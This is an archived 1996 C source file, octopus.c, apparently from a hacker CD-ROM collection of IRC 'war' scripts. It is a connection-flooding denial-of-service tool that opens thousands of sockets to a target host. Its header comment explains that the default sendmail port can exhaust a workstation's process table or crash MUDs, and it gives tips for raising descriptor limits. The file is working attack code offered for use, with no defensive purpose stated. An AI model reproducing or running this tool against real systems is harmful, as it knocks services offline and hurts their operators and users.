home *** CD-ROM | disk | FTP | other *** search
/ HaCKeRz KrOnIcKLeZ 3 / HaCKeRz_KrOnIcKLeZ.iso / ircscripts / warirc / octopus.c < prev    next >
C/C++ Source or Header  |  1996-04-23  |  4KB  |  122 lines

  1. /*  This little program opens as many sockets with a remote
  2.  *  host as can be supported by both.  It catches ^C and kill
  3.  *  commands to shut down cleanly by closing all open connections
  4.  *  before exiting.  Often, a remote workstation can be brought
  5.  *  to its knees by saturating its process table via multiple
  6.  *  invocations of sendmail.  That's why port 25 (the sendmail
  7.  *  port) is the default.  If the target's process table (set
  8.  *  when the target kernel was created) is filled, users will be
  9.  *  unable to execute any shell commands.  Many MUDs also crash
  10.  *  when the number of sockets they have open exceeds a certain
  11.  *  number.  This program will put stress on MUDs by testing
  12.  *  their limits.  If a limit is reached, the MUD will either
  13.  *  crash or will refuse to let new users log in.
  14.  *
  15.  *  The program is incomplete, in that it doesn't check for
  16.  *  socket timeouts and subsequently reuse timed out sockets.
  17.  *  That means the program can only keep a remote host / mud
  18.  *  locked up until it exhausts its own available new sockets,
  19.  *  or until it has reached MAX_DESCRIPTORS remote connections
  20.  *  as set by the #define statement.
  21.  *
  22.  *  If the local machine starts issuing error messages, then
  23.  *  the program has failed to saturate the remote host and has
  24.  *  instead reached the limits of the local machine.  Use ^C or
  25.  *  the kill command to terminate it.  If you are knowledgable
  26.  *  about rebuilding kernels and have access to the root account,
  27.  *  you can build a special kernel that will allow you to reach
  28.  *  a much larger number of open sockets.
  29.  *
  30.  *  Before running this, be sure to issue the c shell command:
  31.  *              'limit descriptors nnn'
  32.  *  where nnn is the largest descriptor limit, as revealed
  33.  *  by the 'limit -h' command if applicable.  Some unixes may
  34.  *  not have a descriptors category at all.
  35.  *
  36.  *  This program has been tested with SunOS version 4.1.3, Irix
  37.  *  version 5, and with Linux.
  38.  *
  39.  *  You don't need to be a privileged user to run it.
  40.  */
  41.  
  42. #include <stdio.h>
  43. #include <stdlib.h>
  44. #include <string.h>   /* needed for Irix */
  45. #include <unistd.h>
  46. #include <sys/types.h>
  47. #include <netinet/in.h>
  48. #include <arpa/inet.h> /* needed for Irix */
  49. #include <sys/socket.h>
  50. #include <signal.h>
  51.  
  52. #define MAX_DESCRIPTORS 2500
  53.  
  54. int i, fd[MAX_DESCRIPTORS];
  55.  
  56. void CatchTERM()
  57. {
  58. printf("\nCaught sig TERM or INT! Cleaning up.\n");
  59. for( ; i>=0; i--) {
  60.          if( shutdown( fd[i], 2 ) < 0 ) perror("shutdown");
  61.          printf("Closing %i\n", i);
  62.          if( close( fd[i] ) ) perror("close");
  63.          }
  64. printf("Done. Committing suicide. ARRGH!\n");
  65. exit (1);
  66. }
  67.  
  68. main(argc,argv)
  69. int argc;
  70. char *argv[];
  71. {
  72.          int     opt,pid;
  73.          struct  sockaddr_in sin[MAX_DESCRIPTORS];
  74.          char    buf[2];
  75.  
  76.          if( argc < 2 ) {
  77.             printf("Usage:\t%s address [port]\n", argv[0] );
  78.             printf("\twhere address is a numeric internet address\n");
  79.             printf("\tand port is an optional port number
  80. (default=25)\n");
  81.             exit (0);
  82.                     }
  83.          pid = getpid();
  84.          opt = 1;
  85.          signal( SIGTERM, CatchTERM);
  86.          signal( SIGINT, CatchTERM);
  87.  
  88.   for ( i=0; i<MAX_DESCRIPTORS; i++) {
  89.        fd[i] = socket(AF_INET, SOCK_STREAM, 0);
  90.        if ( fd[i] < 0 ) { printf("socket %i failed\n",i);
  91.                           perror("socket");
  92.                          }
  93.            else {
  94. /*  Someday, the following call will be used to allow socket reuse ...  */
  95. /*      if ( setsockopt( fd[i], SOL_SOCKET, SO_REUSEADDR, ( char *) &opt,
  96.  *       sizeof(opt)) < 0 ) {
  97.  *           printf("setsockopt %i failed\n",i); sleep(10); }
  98.  */
  99.          bzero((char *)&sin[i], sizeof(sin[0]));
  100.          sin[i].sin_family = AF_INET;
  101.          sin[i].sin_addr.s_addr = inet_addr(argv[1]);
  102.          sin[i].sin_port = htons((argc > 2) ? atoi(argv[2]) : 25);
  103.  
  104.          if( connect(fd[i], &sin[i], sizeof(sin[0])) < 0) {
  105.              printf("connect %i failed.\n",i);
  106.              perror("connect");
  107.              break;
  108.                                  }
  109.  
  110.  
  111.          read(fd[i], buf, 1);
  112.          printf("pid: %i, desc %i\n", pid, i);
  113.                 }
  114.   }
  115.   i--;
  116.   printf("closing connection.\n");
  117.   for ( ; i>=0; i-- ) { if( shutdown( fd[i], 2) <0) perror("shutdown");
  118.                  if( close(fd[i]) ) perror("close");
  119.                  else printf("closed %i\n", i);
  120.                  }
  121. }
  122.